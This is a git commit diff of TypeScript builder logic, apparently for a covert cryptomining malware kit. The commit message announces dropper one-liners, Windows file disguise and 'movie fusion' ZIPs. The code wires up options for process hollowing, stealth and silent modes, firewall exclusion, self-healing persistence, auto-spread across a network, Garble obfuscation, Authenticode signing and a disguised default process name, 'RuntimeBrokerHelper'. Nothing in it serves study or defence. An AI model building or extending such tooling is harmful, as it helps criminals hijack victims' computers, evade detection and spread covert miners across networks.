Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
@@ -1,4 +1,5 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'target_os':
|
||||
if (value !== 'windows' && value !== 'universal') {
|
||||
next.process_hollowing = false;
|
||||
next.sign_build = false;
|
||||
if (value !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
if (value === 'linux' || value === 'darwin') {
|
||||
next.spread_kit = false;
|
||||
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (value === 'windows') {
|
||||
next.target_arch = 'all';
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
} else if (value === 'universal') {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
if (!next.target_os || next.target_os === 'windows') {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'spread_kit':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
process_hollowing: false,
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||
// Users can override process_name manually in Advanced mode.
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
process_hollowing: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'Process hollowing is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
hole_punch: { disabled: false, badge: 'baked' },
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||
},
|
||||
obfuscate: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'server-only',
|
||||
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||
},
|
||||
sign_build: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'server-only',
|
||||
lockedReason: !isWindowsOnly && !isUniversal
|
||||
? 'Authenticode signing applies to Windows .exe output only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
if (form.target_os === 'universal') {
|
||||
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||
}
|
||||
if (form.spread_kit) {
|
||||
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||
}
|
||||
if (form.fusion_enabled) {
|
||||
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||
}
|
||||
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||
}
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user